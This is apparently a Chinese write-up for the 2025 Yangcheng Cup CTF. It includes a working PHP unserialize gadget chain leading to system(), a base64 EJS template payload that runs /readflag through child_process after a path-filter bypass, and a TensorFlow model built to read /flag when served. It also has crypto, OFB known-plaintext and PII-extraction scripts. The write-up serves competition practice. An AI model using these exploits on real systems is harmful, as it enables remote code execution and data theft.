2025羊城杯网络安全大赛 wp

ycb wp

Web

ez_unserialize

<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
    public $first;
    public $step;
    public $next;

    public function __construct() {
        $this->first = "继续加油！";
    }

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想！";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd'];
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

unserialize($_POST['payload']);

?>

• 类 H ：析构方法__destruct()会调用$this->who->start()，是触发链的起点。

• 类 A ：start()方法会输出$this->next，若$this->next是对象且触发__toString()方法。

• 类 V ：__toString()方法会执行$this->go->$this->dowhat，若$dowhat为secret，则访问类 E 的secret属性。

• 类 E ：__get("secret")方法会调用$this->found->check()。

• 类 F ：check()方法会判断$finalstep是否不含"U"，若通过则实例化$finalstep类并调用其__invoke()方法。

• 类 U ：__invoke()方法通过类 N 的__call()调用system($this->cmd)，实现命令执行。

  H.__destruct() → A.start() → V.__toString() → E.__get("secret") → F.check() → U.__invoke() → N.__call() → system(cmd)

<?php
class H {
    public $who;
}

class A {
    public $next;
}

class V {
    public $dowhat;
    public $go;
}

class E {
    public $found;
}

class F {
    public $finalstep;
}

// 构造调用链
$h = new H();
$h->who = new A();
$h->who->next = new V();
$h->who->next->dowhat = "secret";
$h->who->next->go = new E();
$h->who->next->go->found = new F();
$h->who->next->go->found->finalstep = "u"; // 小写u绕过正则

// 生成payload
echo "payload=" . urlencode(serialize($h));
?>

staticNodeService

给了代码

看Security middleware部分

app.use((req, res, next) => {
    if (typeof req.path !== 'string' || 
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
        ) res.status(500).send('Error parsing path');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})

这个正则表达式检查路径中是否包含：

• 以 js 结尾的字符串（js$）
• 包含 ..（表示父目录，可能用于路径遍历攻击）
• i 标志表示不区分大小写

如果路径符合上述模式，会返回 403 错误（禁止访问）并发送 "Denied filename" 消息。

再看到PUT处理逻辑

第一个点路由拼接

const filePath = path.join(STATIC_DIR, req.path);

这行代码通过 path.join() 方法将静态文件目录（STATIC_DIR）与请求路径（req.path）拼接起来，形成要操作的文件的完整路径。

• STATIC_DIR = /var/www/static
• req.path = /images/logo.png

拼接后：

plaintext

path.join('/var/www/static', '/images/logo.png') 
// 结果：/var/www/static/images/logo.png

这会指向服务器上 static 目录下的 images/logo.png 文件。

第二个点传参

    fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
        if (err) {
            return res.status(500).send('Error writing file');
        }
        res.status(201).send('File created/updated');
    });

• 从请求体（req.body）中获取 content 字段
• 将 base64 编码的内容解码为 Buffer
• 使用 fs.writeFile() 异步写入文件

也就是我们现在能写入文件，那怎么去触发？

// serve index for better viewing
function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    var lsPath = path.join(__dirname, req.path);
    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        console.log(e);
        res.status(500).send('Error rendering page');
    }
}

• 使用 fs.readdirSync(lsPath) 同步读取目标目录下的所有文件 / 目录名，返回一个数组

那么我们思路就出来了，先上传一个ejs，正则绕过一下，然后通过templ参数读取

第一步绕过正则使用/. /views/1.ejs/.

然后在/在templ参数

多次尝试后是/readflag

{"content": "PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPg=="}

MISC

成功男人背后的女人

先firework8打开

01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101

别笑，你试你也过不了第二关

第一关
a='      #    ';b='##### ';c='  #   #';d='#   #  #';e=' #     # ';f='#####  ';g=' ###   #';h='  #####';hilogo=f+f+g+a+h+' '+b+b+f+g+a+h+'\n'+'#  '+a+d+a+c+e+a+d+a+c+'\n'+'#  '+a+f+'#'+a+c+e+a+f+'#'+a+c+'\n'+'#  '+a+d+a+c+e+a+d+a+c+'\n'+f+f+d+'####'+h+h+' '+b+b+f+d+'####'+h+h

第二关
'tsnrhtdd'[n%5*(n%100^15>4>n%10)::4]

这个 8 字符字符串是 "密码本"，通过切片步长 4 （[::4]）拆分出 4 种后缀，原理如下：

字符串索引	0	1	2	3	4	5	6	7
字符	t	s	n	r	h	t	d	d
切片规则	从索引 k 开始，每 4 个字符取 1 个
切片结果	k=0 → t+h = th	k=1 → s+t = st	k=2 → n+d = nd	k=3 → r+d = rd

简单说：索引 k 决定取哪种后缀，k=0 是 th、k=1 是 st、k=2 是 nd、k=3 是 rd。

索引 k 的计算逻辑是 n%5*(条件)，分两部分拆解：

• 基础值：n%5

  用 n%5 直接映射 "常规后缀"：

  n%5=0 → th（k=0）、n%5=1 → st（k=1）、n%5=2 → nd（k=2）、n%5=3 → rd（k=3）、n%5=4 → th（k=0，因 4 * 条件后仍为 0），完美覆盖常规场景。

• 开关：n%100^15>4>n%10

  这是 "特殊情况过滤器"，用异或（^） 和链式比较 压缩逻辑，结果为 True（1）或 False（0）：

  1. n%100^15>4：排除 11-19（11^15=4、1215=3...19^15=12，仅 11-19 结果 ≤4，其余 >4）；

  2. 4>n%10：确保个位数是 0-3（只有这类数需要区分 st/nd/rd）；

  3. 组合效果：只有 "个位数 1-3 且不在 11-19" 时条件为 True ，此时保留 n%5 计算的 k；否则条件为 False，k=0（强制用 th），正好处理所有特殊情况。

Crypto

瑞德的一生

from sage.all import PolynomialRing, Zmod
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm

# RSA 解密参数配置
MODULUS = 7494062703769887703668081866565274579333132167014632821313548612356114287792191446305040778987677683423969025588609780586722302041792065732461222120206217  # 模数 N
BASE = 176589407974509728660827257088337183280645510941533692756437851307282715528543669659120503474533510718918949406280646936944629296899342927397139761503564     # 基数 X
ENCRYPTED_DATA = [1719131405161789300725716547614879725769113740628924228040533454917595622840903436228598969968521441543327057141589401318966713711269892553169244263117465, 964113278787679232296826248818761720259710649328239642627188771651887183698074369890065312129654041092751189904383511692340770351754022502563890149659129, 7180032100218555793581544809570003629664245733070965678131518584876407472850051881863073521320984755175945971940415556560131906637963087186858520080371697, 7278553181711679696938086046655211422150759150466563658652641932706121629090932321563533275034734532076001967063515644128656393602962743436588691292550955, 7071562327710704879223575342701708951735351528142781335702085495652888149086906082135202373228913497958762517436624355411885769802496504666565676354985971, 3413965163746989076799750139073767902883585409040347485175384880698286295086116450668908874661042930824632513226077293241606579860623548134540683517014908, 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4950051105207396429773774428166075000334954821837737397232251436180818678710199211724231773966528636362313843123212954531465462181993269072316970641483752, 2321277584052677386109144043102555431537463526323344804107445290609657090933455927487364656832031958873005142137183551206203381350955112720970983629475684, 4579436233520661038161884029091970187080828058613144386236685859057904033991019280601043878403765169660457722265308860322878865696640767650494852640425277, 18906136137848496579324560678747031381788029072767996841559376494499137524554845226393032530233707147980671422307838425424818115436891501593223022031827, 3649739447103582098076238608317392519612960237580342548776236425045996900841506099933841198429337672932374664711953830865692945603633311211804057613236324, 6228248267252875664628627371482930203797923900755249884900489349175534284948790784868686455242930775996109784153985021962472756596423498541138085487322723, 3232259016167568396088636124691186778872755608979528475941705605372538123982530089543735943732668890939456701500424525813466899287571731973313921868984805, 5230180726800777097714472558016559715011581240550241042117243307455060250183937192110232322958177161094301709569356532188804008960304943709517659100012009, 1316182411882810585716069785492527119939221679926043191741779246579486911220519569558733014732939798403126398938304154350259601846917283148808746705774112, 5171393541792955967386504096724384486848387545027162506058824561994639378771299850868388303197135071554546442555505669680390535567513140238066731199431524, 35024069142023136144503873705187851775772996841748742043201622416528228333326846510775142995357882951453924641801621144372669846361298917545554103413182, 2137302852938511100617562003058664983273624114396214242893654581723221516655474918148779088953177782808419941448719984559118447096665545427696709937842713, 209930536158403353785934337280825398110386976890317925283707497575319531810780655757933953255645828866209390042351830836279337190397061501517408059277687, 3872986020267814657409271626722062503718111147627634098489147832056854032602800946436266352602142926616365232206071229597298304206045230548365661951077522, 1353182967413395061816484502209760000851237923728283774521553129820727442479338500131723368608904090168808192168529256743509840312000677736865380507537597, 3989012311734412151789222401298139163313553222907339266222343038762544577268515336723689194007193558263264033766563400869470061614041222467740729897778945, 6657934627409610222724351577670649726837779633184629144454851695438238638414565047620038308540585583268640359657949347136804823986752924495443174820297207, 1939957578240465449128685156366892125093156232541825538491850379716359815561015886172690604751039310402525340002812702097520600710037750287074101266805367, 377509715569111235799348790189128852911568008132618928612437037657021563709052313331430741131984546631013729797441300895357352523422174174809430228688926, 7368177743257889839799014630889959868082821591970785238021132865083837866069262950226618481068147023276973364092377863002882245295200052579960501239119196, 530830086210176067129258565875145262804901495700273204508256051933953374358572473802632052068174957448979978484249171505601497376201648157539650093189283, 7376502080925571165446902809763768694636061410762198687423828839330038942134761149049375581034657573374142320225725569977961901705450162870025527855762012, 2116346943204098782880885073913590762111226360036146748574267130728082070017266442714183443559725139912906721658381591908291299672511209398838786833026709, 1199777635466712774822205543754218307068664346791144786672662649003222367801203289358430843195259606424099228487895878674265477055329794956881054654716026, 1065047154492119587809130315926266634540312877479768838833721668340501716669517402638318223576664315605450627948046791863572627510566106993841377518051440, 57633491995533694973891797097577071270988915839965047519210039437757302634275399532642415936872646564776006731728624721483663422906045459777596215800302, 4387332259562199732908790016236494236575320110997164079966354117865561681913540018569486901341373579954728471417127066360146207405700122791914392223220374, 4912992173833881386838621974988117654635059839417714188337830801866998890203701279633706380019338050829956062780063083253085600338877188837462216423352515, 2131552631311009454861522771076696810466488782774072213678563451902847619730588023506731533122367751487975954054356961940799989994662298609806639374383532, 7330743882131510030850866494412341449415034749906932700942413372538363383327644179653467033858265470706634932159215618772560940313556355863046255441278467, 870604086459655029733256817860700701454236753458109416271222662286543283512867597595372666558165665232229331184146310877052169182296521503123019337439263, 680872135547510243494174626424856445629938462451189170183328643053275121638922821950403344522878368443252128937220909347015476786456818467367664615182582, 4724755014750126366154144612549612395192354863626845042731552287761516767759334583006493386068786737770070472800073340309754898657439678009537319332588077, 7033346038932236950889937133070711679204593535527563435243508327767199339263572857029806368736783025382461394453552346779980043507060604530741699271587049, 1488758945001976173736074193268523840116905967041374845299947176295647941623801576745116031908900162845435819502098566854672304706945102955494986567499180, 20319243686071492650906176986595192356910885022304521348362003892920034022589581031001779558837253235453466624134363975636645241026288893879461704222039, 3145267824376672830793568703183954478076762941060877390697773144210967898556496681613052310152161622984166937015938600723987465406736616195115143840204272, 7065211296316310929917647988477706260854777367720509215461102227370538671245933623485253881135209242186479608112449601079184899093566410058748022701249681, 5860016308325213119819184187670239564791333348087363680942925424162694462159018573839942821488405708712369104188452455045689910694321205617267927010904353, 5645361475249093719768450338234034726485554026640026662174673396653231400488355710059780115730446487495686330275120275600041319135689492356651341979038088, 6222727452583908397253535983805821930231388306224553254136976634073410340765549319231925139894850295061726002336384426016757007977849079223677773537255081, 3696429825336147971620059489168478959976463308851142886577508477570240282766636537964634680481107690278878090696361681958754963149721829332526387362213190, 7078032688626190314737342918176972325521293294689228613115610563935693105149448353402481648280874993385612176692849105916242678776294364778167973947550187, 3270971084919614392338441788730004011100304400583583883067217490582518979491757196768783495885678619945523947283699651895101048284585981169166481963660623, 2148843064997549913740046332281882693310226949255590440580489845028047589771544283453290518792858933379819319132584513015919677339284914344995646843998048, 1291525211756946411401294509523977729530718411866377519225168221934642683496562640471014219152338552064525235942687244806796479646413595124980238537943389, 4913307250241775374386695436715632464827403720055363596619529423169293536260965648729975796127464362240516770053847194323081306012483068777864581057200279, 6678281756307450766811979928838965105333300960175054010659048118393215643476339302253367353882325289237489247795405556958386170996096189421801964924482147, 657145172274590196493597590113130464259273254304875932677515103976617144895772233827673391830935998805215202067285182351547427598777010976174255888108237, 5254189861688322883166710121819982619221538207416112766290975591655559256081375216189936310254974303785089550027238530874504313982895640119168967142788774, 4107456224332124639796526866448719803417125732966259666717527193805945662592291598638635704829882984364017372324547020897502769788128092736578440387426559, 2858837243023389958060661218677166091417324132599396589197054884499323557500626489155371785733313327379967727003385933612324840437059452826759882016643192, 6834470718220476619599192939877802960626266906218601397992141268348842750307258845978436373245888045814447365868690654204442632005537885428710943936919252]
  # 密文列表 CIPHERS

# 初始化 Sage 数学环境
modular_space = Zmod(MODULUS)
poly_ring.<unknown> = PolynomialRing(modular_space)

# 假设 flag 最低位为 1，计算初始 y² 值
initial_cipher = ENCRYPTED_DATA[0]
inv_base = pow(BASE, -1, MODULUS)  # 计算 BASE 在模 MODULUS 下的逆
y_squared = (inv_base * initial_cipher) % MODULUS

# 存储解密得到的二进制位（从最低位开始）
binary_bits = "1"

# 处理剩余密文
for current_cipher in tqdm(ENCRYPTED_DATA[1:]):
    found = False
    # 尝试 0 和 1 两个可能的位值
    for bit_candidate in [0, 1]:
        # 计算左侧表达式值
        base_power = pow(BASE, -bit_candidate, MODULUS)
        left_hand_side = (current_cipher * base_power - y_squared) % MODULUS
        
        # 构造多项式并寻找小根
        polynomial = (left_hand_side - unknown**2)**2 - 4 * unknown**2 * y_squared
        small_roots = polynomial.small_roots(epsilon=1/20)
        
        if small_roots:
            if found:
                print("[!] 警告：检测到重复匹配")
            # 将找到的位添加到结果前端
            binary_bits = str(bit_candidate) + binary_bits
            found = True
    
    if not found:
        print("[!] 该数据块未找到有效根")

# 输出结果
print(f"解密得到的二进制串: {binary_bits}")
flag_integer = int(binary_bits, 2)
decrypted_flag = long_to_bytes(flag_integer)
print(f"解密后的flag: {decrypted_flag}")

直接用在线环境打[Use SageMath Online](https://cocalc.com/features/sage

DS&AI

SM4-OFB

import os
import sys
import argparse
import hashlib
import pandas as pd

def hex_to_bytes(hex_str):
    return bytes.fromhex(hex_str.strip())

def generate_keystream(cipher_bytes, plaintext_bytes):
    keystream = bytearray(len(cipher_bytes))
    for idx in range(len(cipher_bytes)):
        plain_byte = plaintext_bytes[idx] if idx < len(plaintext_bytes) else 0
        keystream[idx] = cipher_bytes[idx] ^ plain_byte
    return bytes(keystream)

def decrypt(cipher_hex, keystream):
    cipher_bytes = hex_to_bytes(cipher_hex)
    if len(keystream) < len(cipher_bytes):
        keystream_full = (keystream * ((len(cipher_bytes) // len(keystream)) + 1))[:len(cipher_bytes)]
    else:
        keystream_full = keystream[:len(cipher_bytes)]
    plain_bytes = bytes([cipher_bytes[i] ^ keystream_full[i] for i in range(len(cipher_bytes))]).rstrip(b"\x00")
    try:
        return plain_bytes.decode("utf-8", errors="replace")
    except:
        return repr(plain_bytes)

def locate_known_row(dataframe, name, phone, id_card):
    for index, row in dataframe.iterrows():
        cell_values = [str(cell).strip() for cell in row.values if pd.notna(cell)]
        combined = "\t".join(cell_values)
        if name in combined and phone in combined and id_card in combined:
            return index
    return None

def decrypt_and_process():
    parser = argparse.ArgumentParser(description="Decrypt personal information sheet with known plaintext.")
    parser.add_argument("--input-file", "-i", default="个人信息表.xlsx",
                        help="Input Excel or CSV file path (default: 个人信息表.xlsx)")
    parser.add_argument("--known-name", default="蒋宏玲", help="Known plaintext name (default: 蒋宏玲)")
    parser.add_argument("--known-phone", default="17145949399", help="Known plaintext phone number (default: 17145949399)")
    parser.add_argument("--known-id", default="220000197309078766",
                        help="Known plaintext ID card number (default: 220000197309078766)")
    parser.add_argument("--target-name", default="何浩璐", help="Target name for ID MD5 calculation (default: 何浩璐)")
    parser.add_argument("--output-file", "-o", default="个人信息表_decrypted.csv", help="Output CSV file path")
    args = parser.parse_args()

    input_path = args.input_file
    if not os.path.exists(input_path):
        alt_path = "个人信息表_raw.csv"
        if os.path.exists(alt_path):
            input_path = alt_path
            print(f"[WARNING] Input file {args.input_file} not found, using {alt_path} instead.")
        else:
            print(f"[ERROR] Input file {args.input_file} not found. Please place the file in the current directory.")
            sys.exit(1)

    if input_path.lower().endswith((".xlsx", ".xls")):
        df = pd.read_excel(input_path, header=None, dtype=str)
    else:
        df = pd.read_csv(input_path, header=None, dtype=str)

    first_row = [str(val).strip() for val in df.iloc[0].fillna("")]
    has_header = any("序号" in val or "姓名" in val or "手机号" in val or "身份证" in val for val in first_row)
    if has_header:
        df = df.copy().reset_index(drop=True)

    known_row_idx = locate_known_row(df, args.known_name, args.known_phone, args.known_id)
    if known_row_idx is None:
        known_row_idx = 1 if len(df) > 1 else 0
        print(f"[WARNING] Known plaintext row not detected automatically, using row index {known_row_idx} (0-based).")
    else:
        print(f"[INFO] Known plaintext row found at index {known_row_idx} (0-based).")

    try:
        name_cipher_hex = str(df.iat[known_row_idx, 1])
        phone_cipher_hex = str(df.iat[known_row_idx, 2])
        id_cipher_hex = str(df.iat[known_row_idx, 3])
    except Exception as e:
        print("[ERROR] Failed to read ciphertext columns at indices 1, 2, 3. File structure might be incorrect.", e)
        sys.exit(1)

    name_keystream = generate_keystream(hex_to_bytes(name_cipher_hex), args.known_name.encode("utf-8"))
    phone_keystream = generate_keystream(hex_to_bytes(phone_cipher_hex), args.known_phone.encode("utf-8"))
    id_keystream = generate_keystream(hex_to_bytes(id_cipher_hex), args.known_id.encode("utf-8"))
    print(f"[INFO] Keystream lengths: name={len(name_keystream)}, phone={len(phone_keystream)}, id={len(id_keystream)}")

    decrypted_rows = []
    for row_idx in range(1, len(df)):
        seq = str(df.iat[row_idx, 0]) if pd.notna(df.iat[row_idx, 0]) else str(row_idx)
        try:
            curr_name_hex = str(df.iat[row_idx, 1])
            curr_phone_hex = str(df.iat[row_idx, 2])
            curr_id_hex = str(df.iat[row_idx, 3])
        except:
            continue
        decrypted_name = decrypt(curr_name_hex, name_keystream)
        decrypted_phone = decrypt(curr_phone_hex, phone_keystream)
        decrypted_id = decrypt(curr_id_hex, id_keystream)
        decrypted_rows.append([seq, decrypted_name, decrypted_phone, decrypted_id])

    decrypted_df = pd.DataFrame(decrypted_rows, columns=["序号", "姓名", "手机号", "身份证号"])
    decrypted_df.to_csv(args.output_file, index=False)
    print(f"[INFO] Decrypted data saved to {args.output_file}, total rows: {len(decrypted_df)}")

    target_matches = decrypted_df[decrypted_df["姓名"].str.contains(args.target_name, na=False)]
    if target_matches.empty:
        print(f"[WARNING] No records found for name: {args.target_name}")
    else:
        for _, record in target_matches.iterrows():
            id_card = str(record["身份证号"])
            md5_hash = hashlib.md5(id_card.encode("utf-8")).hexdigest()
            print(f"[RESULT] Name: {record['姓名']}, ID: {id_card}, MD5: {md5_hash}")

if __name__ == "__main__":
    decrypt_and_process()

MD5: fbb80148b75e98b18d65be446f505fcc

dataIdSort

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import csv

def validate_idcard(idcard):
    """验证身份证号"""
    # 处理带横线和空格的格式
    if '-' in idcard:
        parts = idcard.split('-')
        if len(parts) == 3 and len(parts[0]) == 6 and len(parts[1]) == 8 and len(parts[2]) == 4:
            idcard_clean = ''.join(parts)
        else:
            return False
    elif ' ' in idcard:
        parts = idcard.split()
        if len(parts) == 3 and len(parts[0]) == 6 and len(parts[1]) == 8 and len(parts[2]) == 4:
            idcard_clean = ''.join(parts)
        else:
            return False
    else:
        idcard_clean = idcard
    
    # 18位身份证验证
    if len(idcard_clean) == 18:
        weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
        check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
        
        if not idcard_clean[:17].isdigit():
            return False
        
        # 验证出生日期
        try:
            year = int(idcard_clean[6:10])
            month = int(idcard_clean[10:12])
            day = int(idcard_clean[12:14])
            if not (1900 <= year <= 2100 and 1 <= month <= 12 and 1 <= day <= 31):
                return False
        except:
            return False
        
        # 计算校验码
        sum_val = sum(int(idcard_clean[i]) * weights[i] for i in range(17))
        check_code = check_codes[sum_val % 11]
        return idcard_clean[-1].upper() == check_code
    
    # 15位身份证验证
    elif len(idcard_clean) == 15:
        if not idcard_clean.isdigit():
            return False
        
        try:
            month = int(idcard_clean[8:10])
            day = int(idcard_clean[10:12])
            if not (1 <= month <= 12 and 1 <= day <= 31):
                return False
        except:
            return False
        
        return True
    
    return False

def validate_phone(phone):
    """验证手机号"""
    digits = re.sub(r'[^\d]', '', phone)
    
    # 处理带86前缀的号码
    if len(digits) == 13 and digits[:2] == '86':
        digits = digits[2:]
    
    if len(digits) != 11 or digits[0] != '1':
        return False
    
    # 验证手机号段
    valid_prefixes = {
        '134', '135', '136', '137', '138', '139', '147', '148', '150', '151', 
        '152', '157', '158', '159', '172', '178', '182', '183', '184', '187', 
        '188', '195', '198', '130', '131', '132', '140', '145', '146', '155', 
        '156', '166', '167', '171', '175', '176', '185', '186', '196', '133', 
        '149', '153', '173', '174', '177', '180', '181', '189', '190', '191', 
        '193', '199'
    }
    
    return digits[:3] in valid_prefixes

def validate_bankcard(card):
    """验证银行卡号（Luhn算法 + 62前缀）"""
    # 仅验证62开头的银行卡
    if not card.startswith('62'):
        return False
    
    if not card.isdigit() or len(card) < 16 or len(card) > 19:
        return False
    
    # Luhn算法验证
    total = 0
    reverse_digits = card[::-1]
    
    for i, digit in enumerate(reverse_digits):
        n = int(digit)
        if i % 2 == 1:  # 偶数位置（从0开始计数）
            n *= 2
            if n > 9:
                n -= 9
        total += n
    
    return total % 10 == 0

def validate_ip(ip):
    """验证IP地址"""
    parts = ip.split('.')
    if len(parts) != 4:
        return False
    
    for part in parts:
        try:
            num = int(part)
            if num < 0 or num > 255:
                return False
        except ValueError:
            return False
    
    return True

def validate_mac(mac):
    """验证MAC地址（xx:xx:xx:xx:xx:xx格式）"""
    parts = mac.split(':')
    if len(parts) != 6:
        return False
    
    for part in parts:
        if len(part) != 2:
            return False
        try:
            int(part, 16)  # 验证是否为十六进制
        except ValueError:
            return False
    
    return True

def extract_sensitive_data(text):
    """从文本中提取敏感数据（去重+按位置排序）"""
    results = []
    
    # 修复正则表达式：移除手机号模式中的$锚点，避免匹配失败
    patterns = {
        'phone': [
            r'\+86\s*\d{3}\s+\d{4}\s+\d{4}',  # (+86)132 6239 9600 或 +86 132 6239 9600
            r'\+86\s*\d{3}-\d{4}-\d{4}',      # (+86)174-1242-5004 或 +86 174-1242-5004
            r'\+86\s*\d{11}',                 # (+86)18227196365 或 +86 18227196365
            r'(?<!\d)\d{3}\s+\d{4}\s+\d{4}(?!\d)',  # 157 6118 9206
            r'(?<!\d)\d{3}-\d{4}-\d{4}(?!\d)',      # 181-9714-3686
            r'(?<!\d)\d{11}(?!\d)',                 # 15135915179
        ],
        'idcard': [
            r'(?<!\d)\d{6}-\d{8}-\d{4}(?!\d)',  # 410122-19800821-6567
            r'(?<!\d)\d{6}\s+\d{8}\s+\d{4}(?!\d)',  # 540124 20080916 4682
            r'(?<!\d)\d{18}(?!\d)',           # 18位身份证（含末位X）
            r'(?<!\d)\d{17}[Xx](?!\d)',       # 单独匹配末位为X的18位身份证
            r'(?<!\d)\d{15}(?!\d)',           # 15位身份证
        ],
        'bankcard': [
            r'(?<!\d)62\d{14,17}(?!\d)',      # 62开头的16-19位银行卡号
        ],
        'ip': [
            r'(?<!\d)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?!\d)',  # IP地址
        ],
        'mac': [
            r'[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}',  # MAC地址
        ],
    }
    
    # 按顺序提取：MAC→IP→手机号→身份证→银行卡（避免短格式被长格式覆盖）
    extract_order = ['mac', 'ip', 'phone', 'idcard', 'bankcard']
    for data_type in extract_order:
        for pattern in patterns[data_type]:
            matches = re.finditer(pattern, text, re.IGNORECASE)  # MAC地址忽略大小写
            for match in matches:
                value = match.group()
                # 调用对应验证函数
                if data_type == 'phone' and validate_phone(value):
                    results.append((data_type, value, match.start(), len(value)))
                elif data_type == 'idcard' and validate_idcard(value):
                    results.append((data_type, value, match.start(), len(value)))
                elif data_type == 'bankcard' and validate_bankcard(value):
                    results.append((data_type, value, match.start(), len(value)))
                elif data_type == 'ip' and validate_ip(value):
                    results.append((data_type, value, match.start(), len(value)))
                elif data_type == 'mac' and validate_mac(value):
                    results.append((data_type, value, match.start(), len(value)))
    
    # 按匹配位置排序
    results.sort(key=lambda x: x[2])
    
    # 去重：排除重叠的匹配结果
    unique_results = []
    used_ranges = []  # 存储已使用的文本范围 (start, end)
    for item in results:
        data_type, value, start, length = item
        end = start + length
        # 检查是否与已保留结果重叠
        overlap = False
        for used_start, used_end in used_ranges:
            if not (end <= used_start or start >= used_end):
                overlap = True
                break
        if not overlap:
            unique_results.append((data_type, value))
            used_ranges.append((start, end))
    
    return unique_results

def process_file(input_file, output_file):
    """处理输入文件，提取敏感数据并保存为CSV"""
    print(f"开始处理文件: {input_file}")
    
    all_results = []
    line_count = 0
    
    # 读取输入文件
    try:
        with open(input_file, 'r', encoding='utf-8') as f:
            for line_num, line in enumerate(f, 1):
                line_count += 1
                # 每处理100行打印进度
                if line_count % 100 == 0:
                    print(f"已处理 {line_count} 行...")
                
                # 提取当前行的敏感数据
                sensitive_data = extract_sensitive_data(line.strip())
                for data_type, value in sensitive_data:
                    all_results.append({
                        'category': data_type,  # 对应CSV的category列
                        'value': value          # 对应CSV的value列
                    })
        
        # 统计各类型数据数量
        type_count = {}
        for item in all_results:
            cat = item['category']
            type_count[cat] = type_count.get(cat, 0) + 1
        
        # 打印处理结果统计
        print(f"\n处理完成：共处理 {line_count} 行，提取敏感数据 {len(all_results)} 条")
        print("各类型数据统计：")
        for cat, count in sorted(type_count.items()):
            print(f"  {cat}: {count} 条")
        
        # 去重：基于 (category, value) 确保唯一性
        unique_dict = {}
        for item in all_results:
            key = (item['category'], item['value'])
            if key not in unique_dict:
                unique_dict[key] = item
        unique_results = list(unique_dict.values())
        
        print(f"去重后剩余：{len(unique_results)} 条唯一数据")
        
        # 保存为CSV（UTF-8 with BOM，兼容Excel）
        with open(output_file, 'w', encoding='utf-8-sig', newline='') as f:
            # 定义CSV列顺序：category 在前，value 在后
            fieldnames = ['category', 'value']
            writer = csv.DictWriter(f, fieldnames=fieldnames)
            writer.writeheader()
            writer.writerows(unique_results)
        
        print(f"结果已保存到：{output_file}")
    
    except FileNotFoundError:
        print(f"错误：输入文件 {input_file} 未找到，请检查路径是否正确")
    except Exception as e:
        print(f"处理过程中发生错误：{str(e)}")

if __name__ == '__main__':
    # 配置输入输出文件路径
    INPUT_FILE = "C:\\Users\\26387\\Desktop\\ycb\\dataIdSort的附件\\tempdir\\DS附件\\dataIdSort的附件\\data.txt"    # 输入文本文件（需与脚本同目录）
    OUTPUT_FILE = 'C:\\Users\\26387\\Desktop\\ycb\\dataIdSort的附件\\tempdir\\DS附件\\dataIdSort的附件\\result5.csv'# 输出CSV文件
    
    # 执行处理
    process_file(INPUT_FILE, OUTPUT_FILE)

DASCTF{70518912637058730679356358284109}

Mini-modelscope

ccb原题

[2025年第五届"长城杯"网络安全大赛暨京津冀蒙网络安全技能竞赛（初赛）_鱼影安全wp-CSDN博客](https://blog.csdn.net/Aluxian_/article/details/151867798)

# build_model_tfio.py
# 使用纯 TensorFlow op 在 Graph 中读取 /flag 并作为 signature 返回
# 运行环境需要安装 tensorflow (建议 tensorflow-cpu)
#
# 生成: model.zip

import os
import zipfile

try:
    import tensorflow as tf
except Exception as e:
    raise SystemExit("请先安装 TensorFlow: pip install tensorflow-cpu\n错误: " + str(e))

OUT_DIR = "model_saved"
ZIP_PATH = "model.zip"

# 清理
if os.path.exists(OUT_DIR):
    import shutil
    shutil.rmtree(OUT_DIR)
if os.path.exists(ZIP_PATH):
    os.remove(ZIP_PATH)

# 纯 TF 的 serve 函数：在 Graph 中读取 /flag，确保返回 tf.Tensor (dtype=tf.string)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def serve_fn(x):
    # tf.io.read_file 是一个图操作，返回 tf.Tensor(dtype=tf.string, shape=())
    data = tf.io.read_file("/flag")

    # 为兼容一些加载器/调用方，明确设置形状（标量），或者扩展成 [batch] 形式：
    # 1) 若调用端期待标量 string：直接返回 data
    # 2) 若调用端以 batch 形式调用（输入是 [N,1]），可以把 data 扩成 [N]
    #    下面示例把 data 重复为与输入 batch size 相同的向量
    batch_size = tf.shape(x)[0]
    data_vec = tf.repeat(tf.expand_dims(data, 0), repeats=batch_size)  # shape [batch_size]
    # 返回 dict，prediction 保持为 shape [batch_size] 的 tf.string 张量
    return {"prediction": data_vec}

# 备用的纯 TF signature（不读取文件），便于测试加载器是否能读取 SavedModel
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def noop_fn(x):
    batch_size = tf.shape(x)[0]
    const = tf.constant("MODEL_OK", dtype=tf.string)
    vec = tf.repeat(tf.expand_dims(const, 0), repeats=batch_size)
    return {"prediction": vec}

